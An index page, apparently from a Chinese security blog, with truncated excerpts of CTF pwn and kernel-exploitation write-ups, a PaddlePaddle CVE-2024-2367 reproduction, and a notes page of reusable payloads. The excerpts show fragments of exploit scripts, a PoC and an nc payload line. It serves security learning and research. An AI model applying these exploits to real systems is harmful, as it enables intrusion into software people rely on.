羊城杯pwn4 - TRACE 沙箱逃逸
TRACE 沙箱逃逸本题目为羊城杯 pwn4,为一道沙箱逃逸题目。首先查看沙箱规则,注意到不像通常沙箱的行为直接return KILL,而是return TRACE。
12345678910111213$ seccomp-tools dump ./pwn line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x05 0x00 0x40000000 if (A >= 0x40000000) goto 0009 0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009 0005: 0x15 0x03 0x00 0x00000101 ...
AI/ML漏洞调研
人工智能的发展已经是不可阻挡的趋势,最近AGI和agent的项目出现了很多。本文调研一个百度paddle的漏洞。
paddlepaddle/paddlepaddle是百度的一个模型训练和推理一个框架,其还有paddlelite可以做移动端的推理,他们还提供了丰富的即拿即用的模型应对各种的生产环境。
CVE-2024-2367
复现
这个漏洞被发现时是paddlepaddle==2.6.0的版本,可以简单的使用conda装一个这样的环境去测试。
1234conda create -n py3.8 python=3.8conda activate py3.8pip install paddlepaddle==2.6.0python poc.py
poc.py
12345678910import paddleimport numpy as npx = np.array([[[0]], [[0]]], dtype=np.int32)ids = paddle.to_tensor(x)parents = paddle.to_tensor(np.array([[[0]], [[-0x1 ...
Changelog
现在是2024年5月份,我是2020年的本科生,所以我很快就要毕业了。非常侥幸,我已经保研到国内的一所985院校,研究二进制程序分析+AI,所以我还得推迟3年当社畜。
自从2022年,我就一直没有再更新博客,就是记录了一些内容也没有push到github pages上,主要是因为自己太菜,还得多练。从2022到现在发生了很多事,现在记录一下。
2022年6月 拿到了全国大学生信息安全竞赛—创新实践能力赛西北分区赛一等奖
2022年8月 拿到了全国大学生信息安全竞赛—创新实践能力赛全国总决赛一等奖
2022年10月-2023年5月 在国内top1高校的AI+安全的课题组实习
2023年5月 保研投各种简历
2023年6月-2023年8月 在某C9高校课题组实习
2023年8月 确定保研去向
2023年9月29日 正式保研(圆梦)
2023年5月-2023年10月 接外包,挖漏洞,挣了几万块钱
2023年10月-至今 提前进组,学习科研
目前本科毕业论文已经写完了,也回到了本科学校,有时间能整理一下blog。对我来说,这是一个remake,一切都要从零开始,希望我能保持对网络安全的热爱 ...
NOTES
我把一些有用的template和payload放在这里可以直接拿来使用。
USER PWN
overflow help string
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMMNNNNNNNNOOOOOOOOPPPPPPPPQQQQQQQQRRRRRRRRSSSSSSSSTTTTTTTTUUUUUUUUVVVVVVVVWWWWWWWWXXXXXXXXYYYYYYYYZZZZZZZZaaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjjkkkkkkkkllllllllmmmmmmmmnnnnnnnnooooooooppppppppqqqqqqqqrrrrrrrrssssssssttttttttuuuuuuuuvvvvvvvvwwwwwwwwxxxxxxxxyyyyyyyyzzzzzzzz
AAAABBBBCCCCDDD ...
Kernel-xblob-Securinets CTF Quals 2022
exp
race condition
As is well-seen, thread t1 executes ahead of fd2 = open("/dev/xblob", O_RDWR); in semantics. But from my plain own prespective, the time consuming of thread t1 creation will offsets that.
The condition is checked in a singal flow(main thread), it will redece it’s complication to a large extent.
123456789101112for(i=0; i<100000; i++) { fd1 = -1; fd2 = -1; pthread_create(&t1, NULL, oopen, NULL); fd2 = open("/dev/xblob", O_RDWR); pthre ...
Kernel-minimemo-ASIS CTF Quals 2021
Description
Files followed are given in attachment;
123456789101112$ unzip minimemo.zip$ tree ..├── minimemo│ ├── bzImage│ ├── minimemo.c│ ├── pow.py│ ├── rootfs.cpio│ └── start-qemu.sh└── minimemo.zip1 directory, 6 files
bzImage : linux-5.14.3 compiled by gcc:10.3.0
rootfs.cpio : Archive. /etc/init.d/S99ctf is the init script.
minimemo.c : Kernel module ‘s source code.
pow.py : Proof of work script.
start-qemu : Shell script to run the kernel.
Protection status123456/ $ grep smap ...
userfaultfd
seccon2020 - kstack1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961 ...
2021-西湖论剑-PWN & 2021-BCTF-PWN
2021-西湖论剑string_go12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697#!/usr/bin/env python#_*_coding:utf-8_*_import timefrom pwn import *local = 1debug = 1binary = "./string_go"lib = "/lib/x86_64-linux-gnu/libc.so.6"elf = ELF(binary)context.log_level = "debug" if debug else "info"if local: p = process(binary) libc = EL ...
编写自己的驱动
一些Kernel 知识
内核的各个模块
LKMLKM(loadable kernel module),内核作为一个那么复杂,庞大的系统,如果每次产生新的设备,更新新的驱动都要把源码加到内核再重新编译,明显是不太现实。所以呢,LKM也就千呼万唤始出来了。
设备分类按照LDD3的说法,分为三种设备Character devices block device network device。这只是一些比较抽象的分类,各个设备在编写驱动时肯定在逻辑设计上有交叉。
Character devices
A character (char) device is one that can be accessed as a stream of bytes (like a file); a char driver is in charge of implementing this behavior. Such a driver usually implements at least the open, close, read, and write system calls. The text con ...
SCTF-PWN
说下我的情况,做出了dataleak和gadget,至于kernel那道,明显的uaf,当时确实没那个能力做得出。
dataleak
听其他师傅说是某个cve,出题师傅用心了。
payload :
echo "AAAAAAAAAAAA/*AAAA /*AAAAA /* /*" | ./cJSON_PWN(echo "AAAAAAAAAAAA/*AAAA /*AAAAA /* /*";cat) | nc ip port
思路
源码分析
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041 ...